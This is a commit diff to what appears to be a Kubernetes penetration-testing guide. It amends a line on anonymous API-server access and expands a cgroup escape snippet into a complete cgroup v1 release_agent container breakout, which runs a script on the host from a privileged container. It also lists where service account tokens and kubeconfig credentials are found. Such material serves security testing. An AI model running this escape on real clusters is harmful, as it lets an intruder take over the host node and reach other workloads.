Address Kubernetes review feedback

This commit is contained in:
bearsyankees 2026-04-22 13:26:37 -04:00
parent 26dfb4a562
commit 046406801a

View file

@ -28,7 +28,7 @@ Kubernetes clusters expose a large attack surface through their API server, kube
- Service account tokens (mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
- Client certificates (kubeconfig files, often found in CI/CD configs, home dirs, cloud storage)
- OIDC tokens, webhook tokens, cloud provider IAM-to-K8s mappings (EKS IRSA, GKE Workload Identity)
- Anonymous access (disabled by default since 1.6 but still found in the wild)
- Anonymous access (enabled by default; unauthenticated requests become `system:anonymous` / `system:unauthenticated`, with only explicitly bound RBAC permissions such as public discovery/info roles)
## Key Vulnerabilities
@ -79,8 +79,13 @@ cat /proc/1/status | grep -i cap
ls /proc/*/cmdline 2>/dev/null | head -20
# Check for mounted sockets
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
# cgroup escape (privileged + CAP_SYS_ADMIN)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && echo 1 > /tmp/cgrp/notify_on_release
# cgroup v1 release_agent escape (privileged + CAP_SYS_ADMIN)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit.sh && echo "ps aux > $host_path/out" >> /exploit.sh && chmod +x /exploit.sh
sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
```
### Network Policy Gaps